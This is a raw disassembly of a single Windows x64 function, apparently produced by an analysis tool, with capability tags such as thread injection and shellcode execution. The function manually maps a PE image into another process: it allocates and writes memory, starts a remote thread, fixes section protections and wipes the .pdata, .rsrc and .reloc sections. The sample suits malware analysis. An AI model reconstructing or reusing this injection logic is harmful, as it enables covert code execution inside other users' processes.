Function at 0x140086120
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 7]
sub rsp, 0xf0
mov rax, qword [0x1401e7890]
xor rax, rsp
mov qword [rbp - 1], rax
mov rbx, qword [rbp + 0x87]
mov eax, 0x5a4d
movzx r15d, r9b
mov rsi, rdx
mov r14, rcx
cmp word [rdx], ax
jne 0x140086669
movsxd r12, dword [rdx + 0x3c]
mov eax, 0x8664
add r12, rdx
cmp word [r12 + 4], ax
jne 0x140086669
mov r8d, dword [r12 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
je 0x140086669
xor edi, edi
lea rax, [rbp - 9]
mov dword [rbp - 9], edi
mov rdx, r13
mov r8d, dword [r12 + 0x50]
mov rcx, r14
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [0x140161330]
mov r9d, 0x1000
mov qword [rsp + 0x50], rax
mov r8, rsi
mov rax, qword [0x140161340]
mov rdx, r13
mov qword [rsp + 0x58], rax
mov rcx, r14
mov rax, qword [0x140162198]
mov qword [rsp + 0x60], rax
mov eax, dword [rbp + 0x7f]
mov dword [rbp - 0x71], eax
movzx eax, byte [rbp + 0x77]
mov dword [rbp - 0x61], eax
mov qword [rbp - 0x79], rdi
mov dword [rbp - 0x6d], edi
mov dword [rbp - 0x5d], edi
mov qword [rsp + 0x68], r13
mov qword [rbp - 0x69], rbx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140086654
movzx ebx, word [r12 + 0x14]
add rbx, 0x2c
cmp word [r12 + 6], di
je 0x140086286
add rbx, r12
mov eax, dword [rbx - 4]
test eax, eax
je 0x140086276
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, rsi
add rdx, r13
mov qword [rsp + 0x20], 0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140086654
movzx eax, word [r12 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x140086246
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, r14
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x140086654
xor ebx, ebx
lea r8, [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x20], rbx
mov rcx, r14
lea r9d, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14008663a
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x40], rax
mov rdi, rax
test rax, rax
je 0x14008663a
mov r9d, 0x1000
mov qword [rsp + 0x20], rbx
lea r8, [0x1400866a0]
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14008660b
mov qword [rsp + 0x30], rbx
mov r9, rdi
mov dword [rsp + 0x28], ebx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x14008660b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop word [rax + rax]
lea rdx, [rbp - 0x19]
mov dword [rbp - 0x19], ebx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp - 0x19], 0x103
jne 0x140086669
xorps xmm0, xmm0
mov qword [rsp + 0x20], rbx
mov r9d, 0x40
lea r8, [rbp - 0x59]
mov rdx, rsi
mov rcx, r14
movups xmmword [rbp - 0x59], xmm0
movups xmmword [rbp - 0x49], xmm0
movups xmmword [rbp - 0x39], xmm0
movups xmmword [rbp - 0x29], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp - 0x39]
cmp rbx, 0x404040
je 0x14008660b
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
mov ebx, 0
je 0x140086360
mov ecx, 0x1400000
call qword [0x140161d70]
mov qword [rbp - 0x11], rax
test rax, rax
je 0x140086669
xor edx, edx
mov r8d, 0x1400000
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
test r15b, r15b
mov r15, qword [rbp - 0x11]
je 0x14008641c
mov r9d, 0x1000
mov qword [rsp + 0x20], rbx
mov r8, r15
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp byte [rbp + 0x67], bl
je 0x14008650b
movzx ebx, word [r12 + 0x14]
xor edi, edi
add rbx, 0x18
add rbx, r12
cmp word [r12 + 6], di
je 0x14008650b
lea r8, str..pdata
lea r9, str..rsrc
lea r10, str..reloc
mov edx, dword [rbx + 8]
test edx, edx
je 0x1400864f7
cmp byte [rbp + 0x77], 0
jne 0x140086486
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140086486
cmp rcx, 7
jne 0x140086470
jmp 0x1400864c4
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x1400864a6
cmp rcx, 6
jne 0x140086490
jmp 0x1400864c4
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r10 + rcx - 1]
jne 0x1400864f7
cmp rcx, 7
jne 0x1400864b0
mov r9, rdx
mov qword [rsp + 0x20], 0
mov edx, dword [rbx + 0xc]
mov r8, r15
add rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea r8, str..pdata
lea r9, str..rsrc
lea r10, str..reloc
movzx eax, word [r12 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x140086455
cmp byte [rbp + 0x6f], 0
je 0x1400865bb
movzx ebx, word [r12 + 0x14]
xor edi, edi
add rbx, 0x3c
cmp word [r12 + 6], di
je 0x14008658e
add rbx, r12
lea edx, [rdi + 0x20]
nop
mov ecx, dword [rbx - 0x1c]
test ecx, ecx
je 0x14008657e
mov eax, dword [rbx]
mov dword [rbp - 0x19], 0
test eax, 0x80000000
jbe 0x14008654f
mov r9d, 4
jmp 0x14008655e
test eax, 0x20000000
mov r9d, 2
cmova r9d, edx
mov edx, dword [rbx - 0x18]
lea rax, [rbp - 0x19]
mov r8, rcx
mov qword [rsp + 0x20], rax
add rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edx, 0x20
movzx eax, word [r12 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x140086530
movzx eax, word [r12 + 0x14]
mov r9d, 2
mov dword [rbp - 0x11], 0
mov rdx, r13
mov rcx, r14
mov r8d, dword [rax + r12 + 0x24]
lea rax, [rbp - 0x11]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rdx, qword [rsp + 0x40]
mov r9d, 0x1000
mov r8, r15
mov qword [rsp + 0x20], 0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rsp + 0x40]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
jmp 0x14008666b
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rdi
jmp 0x140086657
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rsi
jmp 0x140086657
mov rdx, r13
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
mov rcx, qword [rbp - 1]
xor rcx, rsp
call fcn.140156eb0
mov rbx, qword [rsp + 0x140]
add rsp, 0xf0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret